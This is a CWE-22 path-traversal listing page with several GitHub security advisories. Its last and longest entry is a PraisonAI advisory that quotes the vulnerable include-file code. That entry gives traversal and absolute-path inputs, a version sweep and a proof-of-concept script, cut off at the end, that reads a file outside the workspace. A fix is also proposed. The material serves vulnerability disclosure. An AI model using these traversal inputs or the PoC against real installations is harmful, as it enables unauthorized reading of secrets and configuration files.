Common Weakness Enumeration

CWE-22

Allowed-with-Review

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Abstraction: Base · Status: Stable

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

15153 vulnerabilities reference this CWE, most recent first.

GHSA-Q7GW-6W7M-55GR

Vulnerability from github – Published: 2022-05-17 05:09 – Updated: 2022-05-17 05:09
VLAI
Details

Directory traversal vulnerability in the PmWebDir object in the web server in MICROSYS PROMOTIC before 8.1.5 allows remote attackers to read arbitrary files via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2011-4518"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-05-23T17:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in the PmWebDir object in the web server in MICROSYS PROMOTIC before 8.1.5 allows remote attackers to read arbitrary files via unspecified vectors.",
  "id": "GHSA-q7gw-6w7m-55gr",
  "modified": "2022-05-17T05:09:12Z",
  "published": "2022-05-17T05:09:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-4518"
    },
    {
      "type": "WEB",
      "url": "http://ics-cert.us-cert.gov/advisories/ICSA-12-024-02"
    },
    {
      "type": "WEB",
      "url": "http://www.promotic.eu/en/pmdoc/News.htm#ver80105"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q7H9-QXG9-HRM3

Vulnerability from github – Published: 2026-06-05 21:32 – Updated: 2026-06-16 21:31
VLAI
Details

A hard-coded cryptographic key is used by Altium Enterprise Server to sign file download URLs in the Vault service. Because the key is identical across all installations, an unauthenticated network attacker who can reach the server can forge valid download signatures and retrieve files from the Vault storage area without any authentication, session, or credentials.

A separate path traversal vulnerability in the same download endpoint allows the configured storage root to be escaped, enabling reads of arbitrary files on the server filesystem. Combined, these issues allow an unauthenticated attacker to obtain sensitive server configuration and key material, which can lead to full server compromise. The vulnerability can be chained with CVE-2026-9152 to enumerate and bulk-download stored content. Altium 365 cloud deployments are not impacted in practice, as file storage uses object storage rather than the local filesystem.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-05T20:17:29Z",
    "severity": "CRITICAL"
  },
  "details": "A hard-coded cryptographic key is used by Altium Enterprise Server to sign file download URLs in the Vault service. Because the key is identical across all installations, an unauthenticated network attacker who can reach the server can forge valid download signatures and retrieve files from the Vault storage area without any authentication, session, or credentials.\n\n\nA separate path traversal vulnerability in the same download endpoint allows the configured storage root to be escaped, enabling reads of arbitrary files on the server filesystem. Combined, these issues allow an unauthenticated attacker to obtain sensitive server configuration and key material, which can lead to full server compromise. The vulnerability can be chained with CVE-2026-9152 to enumerate and bulk-download stored content. Altium 365 cloud deployments are not impacted in practice, as file storage uses object storage rather than the local filesystem.",
  "id": "GHSA-q7h9-qxg9-hrm3",
  "modified": "2026-06-16T21:31:54Z",
  "published": "2026-06-05T21:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11414"
    },
    {
      "type": "WEB",
      "url": "https://www.altium.com/platform/security-compliance/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-Q7HM-C2C2-QFQJ

Vulnerability from github – Published: 2022-07-29 00:00 – Updated: 2022-08-04 00:00
VLAI
Details

Improper limitation of a pathname to a restricted directory ('Path Traversal') vulnerability in webapi component in Synology Audio Station before 6.5.4-3367 allows remote authenticated users to delete arbitrary files via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-27611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-28T08:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improper limitation of a pathname to a restricted directory (\u0027Path Traversal\u0027) vulnerability in webapi component in Synology Audio Station before 6.5.4-3367 allows remote authenticated users to delete arbitrary files via unspecified vectors.",
  "id": "GHSA-q7hm-c2c2-qfqj",
  "modified": "2022-08-04T00:00:15Z",
  "published": "2022-07-29T00:00:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27611"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/security/advisory/Synology_SA_21_21"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7HX-MRV5-6MRP

Vulnerability from github – Published: 2022-05-24 17:05 – Updated: 2023-07-13 17:08
VLAI
Summary
HashBrown CMS Directory Traversal
Details

An issue was discovered in HashBrown CMS before 1.3.2. Server/Entity/Resource/Connection.js allows an attacker to reach a parent directory via a crafted name or ID field.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hashbrown-cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-5840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-13T17:08:04Z",
    "nvd_published_at": "2020-01-06T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in HashBrown CMS before 1.3.2. `Server/Entity/Resource/Connection.js` allows an attacker to reach a parent directory via a crafted name or ID field.",
  "id": "GHSA-q7hx-mrv5-6mrp",
  "modified": "2023-07-13T17:08:04Z",
  "published": "2022-05-24T17:05:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5840"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HashBrownCMS/hashbrown-cms/commit/6b37b73944447bb29c6aaeb086b04196d80c692a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HashBrownCMS/hashbrown-cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HashBrownCMS/hashbrown-cms/compare/v1.3.1...v1.3.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HashBrownCMS/hashbrown-cms/releases/tag/v1.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HashBrown CMS Directory Traversal"
}

GHSA-Q7JR-H9W5-JGX2

Vulnerability from github – Published: 2022-04-29 01:28 – Updated: 2022-04-29 01:28
VLAI
Details

Directory traversal vulnerability in parse_xml.cg Apple Darwin Streaming Server 4.1.2 and Apple Quicktime Streaming Server 4.1.1 allows remote attackers to read arbitrary files via a ... (triple dot) in the filename parameter.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2003-1414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2003-12-31T05:00:00Z",
    "severity": "MODERATE"
  },
  "details": "Directory traversal vulnerability in parse_xml.cg Apple Darwin Streaming Server 4.1.2 and Apple Quicktime Streaming Server 4.1.1 allows remote attackers to read arbitrary files via a ... (triple dot) in the filename parameter.",
  "id": "GHSA-q7jr-h9w5-jgx2",
  "modified": "2022-04-29T01:28:02Z",
  "published": "2022-04-29T01:28:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2003-1414"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/11446"
    },
    {
      "type": "WEB",
      "url": "http://securityreason.com/securityalert/3260"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/313517"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/6990"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-Q7JR-V677-WW76

Vulnerability from github – Published: 2025-04-08 15:31 – Updated: 2025-04-08 15:31
VLAI
Details

An Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability [CWE-22] in FortiWeb version 7.6.2 and below, version 7.4.6 and below, 7.2 all versions, 7.0 all versions endpoint may allow an authenticated admin to access and modify the filesystem via crafted requests.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-25254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-08T14:15:32Z",
    "severity": "HIGH"
  },
  "details": "An Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027) vulnerability [CWE-22] in FortiWeb version 7.6.2 and below, version 7.4.6 and below, 7.2 all versions, 7.0 all versions endpoint may allow an authenticated admin to access and modify the filesystem via crafted requests.",
  "id": "GHSA-q7jr-v677-ww76",
  "modified": "2025-04-08T15:31:06Z",
  "published": "2025-04-08T15:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-25254"
    },
    {
      "type": "WEB",
      "url": "https://fortiguard.fortinet.com/psirt/FG-IR-24-474"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7JW-4655-MJQ2

Vulnerability from github – Published: 2026-07-27 15:32 – Updated: 2026-07-27 15:32
VLAI
Details

Editor Arbitrary File Deletion in Kirki <= 6.0.13 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-65436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-27T15:17:08Z",
    "severity": "MODERATE"
  },
  "details": "Editor Arbitrary File Deletion in Kirki \u003c= 6.0.13 versions.",
  "id": "GHSA-q7jw-4655-mjq2",
  "modified": "2026-07-27T15:32:32Z",
  "published": "2026-07-27T15:32:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65436"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/kirki/vulnerability/wordpress-kirki-plugin-6-0-13-arbitrary-file-deletion-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q7M3-RHXG-7VXR

Vulnerability from github – Published: 2026-08-27 17:06 – Updated: 2026-08-27 17:06
VLAI
Summary
n8n-nodes-sqlite3 vulnerable to path traversal via user-controlled database file path (db_path parameter)
Details

Affected versions

< 1.0.0

Patched version

1.0.0

Description

In versions prior to 1.0.0, the SQLite node accepted the database file path as a direct node parameter visible and editable in the workflow. A workflow author who mapped untrusted user input to the db_path field could allow an attacker to control which file was opened by SQLite, potentially enabling path traversal to read or overwrite arbitrary files accessible to the n8n process.

The vulnerability requires the workflow author to explicitly wire untrusted input to the db_path parameter, so it does not affect standalone deployments where only trusted users author workflows. However, in multi-tenant or user-facing n8n deployments the risk is elevated.

Fixed in v1.0.0 by moving the database path into a credential (v2 node architecture), which is stored server-side and not controllable by workflow input data.

References

  • Fix commit: 145a887
  • Introduced credential-based path: v2 node

Credits

dyingman1 (role: Reporter)

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n-nodes-sqlite3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-27T17:06:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Affected versions\n\u003c 1.0.0\n\n## Patched version\n1.0.0\n\n## Description\nIn versions prior to 1.0.0, the SQLite node accepted the database file\npath as a direct node parameter visible and editable in the workflow.\nA workflow author who mapped untrusted user input to the db_path field\ncould allow an attacker to control which file was opened by SQLite,\npotentially enabling path traversal to read or overwrite arbitrary\nfiles accessible to the n8n process.\n\nThe vulnerability requires the workflow author to explicitly wire\nuntrusted input to the db_path parameter, so it does not affect\nstandalone deployments where only trusted users author workflows.\nHowever, in multi-tenant or user-facing n8n deployments the risk\nis elevated.\n\nFixed in v1.0.0 by moving the database path into a credential\n(v2 node architecture), which is stored server-side and not\ncontrollable by workflow input data.\n\n## References\n- Fix commit: 145a887\n- Introduced credential-based path: v2 node\n\n## Credits\ndyingman1 (role: Reporter)",
  "id": "GHSA-q7m3-rhxg-7vxr",
  "modified": "2026-08-27T17:06:55Z",
  "published": "2026-08-27T17:06:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/DangerBlack/n8n-node-sqlite3/security/advisories/GHSA-q7m3-rhxg-7vxr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DangerBlack/n8n-node-sqlite3/pull/25"
    },
    {
      "type": "WEB",
      "url": "https://github.com/DangerBlack/n8n-node-sqlite3/commit/145a8876ff12375813bdcd4ae4fe78f460c53a98"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/DangerBlack/n8n-node-sqlite3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n-nodes-sqlite3 vulnerable to path traversal via user-controlled database file path (db_path parameter)"
}

GHSA-Q7M5-3JMV-VM48

Vulnerability from github – Published: 2026-10-08 17:58 – Updated: 2026-10-08 17:58
VLAI
Summary
PraisonAI: ContextGatherer include resolution permits absolute and traversal reads outside the workspace
Details

ContextGatherer include resolution permits absolute and traversal reads outside the workspace

Summary

PraisonAI's praisonai.ui.context.ContextGatherer treats the configured directory as the project workspace, but project-controlled .praisoncontext and .praisoninclude files can name absolute paths or .. traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model as project context.

Technical Details

ContextGatherer.get_include_paths() reads include entries directly from .praisoncontext and .praisoninclude under the configured workspace. It stores each non-comment line as a raw include path:

include_file = os.path.join(self.directory, '.praisoncontext')
if os.path.exists(include_file):
    with open(include_file, 'r') as f:
        include_paths.extend(
            line.strip() for line in f
            if line.strip() and not line.startswith('#')
        )

When .praisoncontext is present, gather_context() passes every include entry through os.path.join(self.directory, include_path) and then processes the result:

for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

The .praisoninclude path has the same unsafe join after first processing the workspace:

process_path(self.directory)
for include_path in self.include_paths:
    full_path = os.path.join(self.directory, include_path)
    process_path(full_path)

There is no canonicalization or containment check before process_path() opens files or recursively walks directories. In Python, os.path.join(workspace, absolute_path) returns the absolute path and discards workspace; os.path.join(workspace, "../outside.py") remains outside the workspace once normalized by filesystem operations. add_file_content() then opens the supplied path and appends file contents to the context before display bookkeeping:

with open(file_path, 'r', encoding='utf-8') as f:
    content = f.read()
    context.append(
        f"File: {file_path}\n\n{content}\n\n{'=' * 50}\n"
    )
    self.included_files.append(
        Path(file_path).relative_to(self.directory)
    )

For parent traversal paths, Path(file_path).relative_to(self.directory) raises after the outside file content has already been appended, so the caller receives the outside content even if an error is logged. For absolute paths, the outside content is appended as well. This violates the workspace invariant for a context-gathering feature: repository-local include metadata should select files within the project, not arbitrary process-readable host files.

PoV

The minimal vulnerable shape is a workspace containing only a normal source file and one include file:

workspace/
  .praisoncontext      # contains: ../outside_secret.py
  inside.py
outside_secret.py      # outside the workspace

Running ContextGatherer(directory="workspace").run() returns context containing outside_secret.py even though that file is outside the configured workspace. The same result occurs when .praisoncontext contains an absolute path to the outside file, and when .praisoninclude contains either the parent traversal path or the absolute path.

PoC

Save the self-contained script from the Appendix below as context_include_workspace_pov.py, then run it against a local checkout:

export PRAISONAI=/path/to/PraisonAI
PYTHONPATH="$PRAISONAI/src/praisonai" python context_include_workspace_pov.py

Expected vulnerable output:

{
  "expectations": {
    "control_inside_file_is_collected": true,
    "control_without_include_does_not_read_outside": true,
    "praisoncontext_absolute_path_discloses_outside": true,
    "praisoncontext_parent_traversal_discloses_outside": true,
    "praisoninclude_absolute_path_discloses_outside": true,
    "praisoninclude_parent_traversal_discloses_outside": true
  },
  "source_commit": "1620b49f36945d8cc8ee5635b906c960df5097a0",
  "source_file": "$PRAISONAI/src/praisonai/praisonai/ui/context.py",
  "vulnerable": true
}

The version sweep sampled old and current releases. All sampled versions are vulnerable:

{"ref":"v2.3.10","praisonai_version":"2.3.10","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v2.3.11","praisonai_version":"2.3.11","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.8.1","praisonai_version":"3.8.1","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v3.9.26","praisonai_version":"3.9.26","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.4.12","praisonai_version":"4.4.12","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.16","praisonai_version":"4.5.16","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.5.128","praisonai_version":"4.5.128","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.58","praisonai_version":"4.6.58","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.62","praisonai_version":"4.6.62","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"v4.6.63","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}
{"ref":"HEAD","praisonai_version":"4.6.63","status":"vulnerable","control_without_include_does_not_read_outside":true,"relative_praisoncontext_discloses_outside":true,"absolute_praisoncontext_discloses_outside":true,"relative_praisoninclude_discloses_outside":true,"absolute_praisoninclude_discloses_outside":true}

No external service, live target, real credential, model provider, or network access is needed for reproduction.

Impact

If a user or service runs PraisonAI context gathering on an attacker-influenced workspace, the attacker can cause local files outside the project root to be included in the generated context. Practical impacts include disclosure of source files from adjacent projects, local configuration, prompt transcripts, logs, API keys, and other process-readable text files with extensions that ContextGatherer considers relevant. If the context bundle is sent to an external model or exposed to a lower-trust caller, the file contents leave the intended workspace boundary.

This report claims confidentiality impact only. It does not claim arbitrary write, command execution, or availability impact.

Suggested severity: Medium under the direct local/workspace threat model because user interaction is required to run context gathering on an attacker-influenced workspace. Deployments that automatically gather context for untrusted repositories and forward it to a third-party model may score higher.

Suggested CVSS 3.1 vector:

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Relevant CWEs:

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory
  • CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Suggested Fix

Make include-file path resolution fail closed around a single workspace-containment helper:

  1. Resolve the configured workspace root once with Path(self.directory).resolve().
  2. For each include entry, reject absolute paths outside the workspace.
  3. Join relative include entries to the workspace, resolve the result, and require resolved.relative_to(workspace_root) to succeed before opening or walking anything.
  4. Apply the helper to both .praisoncontext and .praisoninclude processing.
  5. Reject escaped directories as well as escaped files; process_path() can recursively walk directories.
  6. Avoid appending file content before display/bookkeeping operations that can fail.
  7. Add regression tests for ../outside.py, absolute outside paths, and outside directories in both .praisoncontext and .praisoninclude.

Minimal containment shape:

def _resolve_workspace_include(workspace: str, include_path: str) -> Path:
    root = Path(workspace).resolve()
    candidate = Path(include_path)
    if not candidate.is_absolute():
        candidate = root / candidate
    resolved = candidate.resolve()
    try:
        resolved.relative_to(root)
    except ValueError as exc:
        raise PermissionError(f"Context include path is outside workspace: {include_path}") from exc
    return resolved

Affected Package/Versions

  • Package: PraisonAI / praisonai
  • Component: praisonai.ui.context.ContextGatherer
  • Current main tested: 1620b49f36945d8cc8ee5635b906c960df5097a0
  • Current package version in the tested source tree: 4.6.63
  • Latest tested release tag: v4.6.63
  • Oldest sampled vulnerable release tag: v2.3.10

Suggested affected range, based on the sampled source sweep:

praisonai >= 2.3.10, <= 4.6.63

The exact first affected released package version should be confirmed from release history; the sampled range shows the bug is longstanding and still present on current main.

Advisory History

No checked public advisory or local prior report matched praisonai.ui.context.ContextGatherer reading outside-workspace files because project-controlled .praisoncontext or .praisoninclude entries contain absolute paths or .. traversal paths.

Closest public comparators are related but distinct:

  • GHSA-gcq3-mfvh-3x25: PraisonAI Code agent tools fail open without a workspace boundary. That advisory covers praisonai Code CODE_TOOLS wrappers and unset workspace defaults for read/edit helpers. This report has an explicitly configured workspace directory and an attacker-controlled include file inside that workspace; it does not use Code tools or an unset global workspace.
  • GHSA-j7qx-p75m-wp7g: PraisonAI dynamic-context artifact tools read arbitrary host files outside artifact storage. That advisory covers Dynamic Context artifact tools that accept raw artifact_path values. This report covers praisonai.ui.context.ContextGatherer include-file processing.
  • GHSA-22cj-m4wf-fv2c: PraisonAI Dynamic Context history and terminal tools read files outside configured storage via path traversal. That advisory covers Dynamic Context history/terminal stores where run_id and agent_id are path components. This report covers .praisoncontext/.praisoninclude entries in the classic UI context gatherer.
  • GHSA-grrg-5cg9-58pf / CVE-2026-40117: read_skill_file() arbitrary file read. This report does not use skill tools or approval-gated skill file APIs.
  • GHSA-7j2f-xc8p-fjmq / CVE-2026-40152 and GHSA-693f-pf34-72c5: FileTools/listing path traversal surfaces. This report is not in praisonaiagents.tools.file_tools or legacy FileTools; it discloses file content through context-gathering output.
  • GHSA-fwh2-95jw-g4j6: PraisonAI MultiAgentMonitor path traversal, published on 2026-06-19, affects versions before 1.5.115. This report affects current main and 4.6.63 and is triggered by .praisoncontext/.praisoninclude include paths rather than MultiAgentMonitor path parameters.
  • GHSA-qwwv-hc99-6f5p, GHSA-5fr5-2c3f-3fcr, GHSA-gx4r-3wg8-9w5x, and GHSA-x44p-gg67-52fc: current public PraisonAI advisories for MultiAgentLedger duplicate IDs, AGUI CORS/authorization, UI approval-mode command execution, and approval cache keying. None covers ContextGatherer, .praisoncontext, .praisoninclude, or praisonai.ui.context.

Public search found no hits for PraisonAI ContextGatherer .praisoncontext workspace boundary arbitrary file read, praisoninclude ContextGatherer, or praisonai.ui.context in public GitHub advisory text.

References

  • PraisonAI repository: https://github.com/MervinPraison/PraisonAI
  • PraisonAI security advisories: https://github.com/MervinPraison/PraisonAI/security/advisories
  • GitHub Advisory Database search for PraisonAI: https://github.com/advisories?query=PraisonAI
  • GHSA-gcq3-mfvh-3x25: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25
  • GHSA-j7qx-p75m-wp7g: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g
  • GHSA-22cj-m4wf-fv2c: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c
  • GHSA-grrg-5cg9-58pf: https://github.com/advisories/GHSA-grrg-5cg9-58pf
  • GHSA-7j2f-xc8p-fjmq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq
  • GHSA-fwh2-95jw-g4j6: https://github.com/advisories/GHSA-fwh2-95jw-g4j6
  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • CWE-200: https://cwe.mitre.org/data/definitions/200.html

Appendix: Self-Contained Context Include Workspace PoC

#!/usr/bin/env python3
"""Offline PoV for PraisonAI ContextGatherer include-file workspace escape."""

from __future__ import annotations

import contextlib
import io
import inspect
import json
import logging
import subprocess
import tempfile
from pathlib import Path

from praisonai.ui.context import ContextGatherer


CANARY = "PRAISON_CONTEXT_CANARY=outside-workspace"
logging.getLogger("praisonai.ui.context").disabled = True


def imported_source_file() -> Path:
    return Path(inspect.getfile(ContextGatherer)).resolve()


def git_head(source_file: Path) -> str:
    try:
        repo_root = next(parent for parent in source_file.parents if (parent / ".git").exists())
        return subprocess.check_output(
            ["git", "-C", str(repo_root), "rev-parse", "HEAD"],
            text=True,
            stderr=subprocess.DEVNULL,
        ).strip()
    except Exception:
        return "unknown"


def gather_context(workspace: Path) -> tuple[str, str]:
    stdout = io.StringIO()
    stderr = io.StringIO()
    with contextlib.redirect_stdout(stdout), contextlib.redirect_stderr(stderr):
        context, _tokens, _tree = ContextGatherer(
            directory=str(workspace),
            max_file_size=100_000,
            max_tokens=100_000,
        ).run()
    return context, stdout.getvalue() + stderr.getvalue()


def reset_include_files(workspace: Path) -> None:
    for name in (".praisoncontext", ".praisoninclude"):
        path = workspace / name
        if path.exists():
            path.unlink()


def redact(value, temp_root: Path, source_file: Path):
    if isinstance(value, str):
        source_root = next((parent for parent in source_file.parents if (parent / ".git").exists()), source_file.parents[4])
        return value.replace(str(temp_root), "$TMPDIR").replace(str(source_root), "$PRAISONAI")
    if isinstance(value, list):
        return [redact(item, temp_root, source_file) for item in value]
    if isinstance(value, dict):
        return {key: redact(item, temp_root, source_file) for key, item in value.items()}
    return value


def main() -> None:
    source_file = imported_source_file()
    with tempfile.TemporaryDirectory(prefix="praison-context-include-pov-") as tmp:
        temp_root = Path(tmp)
        workspace = temp_root / "workspace"
        workspace.mkdir()
        inside = workspace / "inside.py"
        outside = temp_root / "outside_secret.py"
        inside.write_text("INSIDE_ONLY = True\n", encoding="utf-8")
        outside.write_text(f"{CANARY}\n", encoding="utf-8")

        contexts = {}
        logs = {}

        reset_include_files(workspace)
        contexts["control_no_include"], logs["control_no_include"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoncontext_parent_traversal"], logs["praisoncontext_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoncontext").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoncontext_absolute_path"], logs["praisoncontext_absolute_path"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text("../outside_secret.py\n", encoding="utf-8")
        contexts["praisoninclude_parent_traversal"], logs["praisoninclude_parent_traversal"] = gather_context(workspace)

        reset_include_files(workspace)
        (workspace / ".praisoninclude").write_text(str(outside) + "\n", encoding="utf-8")
        contexts["praisoninclude_absolute_path"], logs["praisoninclude_absolute_path"] = gather_context(workspace)

        expectations = {
            "control_without_include_does_not_read_outside": CANARY not in contexts["control_no_include"],
            "control_inside_file_is_collected": "INSIDE_ONLY = True" in contexts["control_no_include"],
            "praisoncontext_parent_traversal_discloses_outside": CANARY in contexts["praisoncontext_parent_traversal"],
            "praisoncontext_absolute_path_discloses_outside": CANARY in contexts["praisoncontext_absolute_path"],
            "praisoninclude_parent_traversal_discloses_outside": CANARY in contexts["praisoninclude_parent_traversal"],
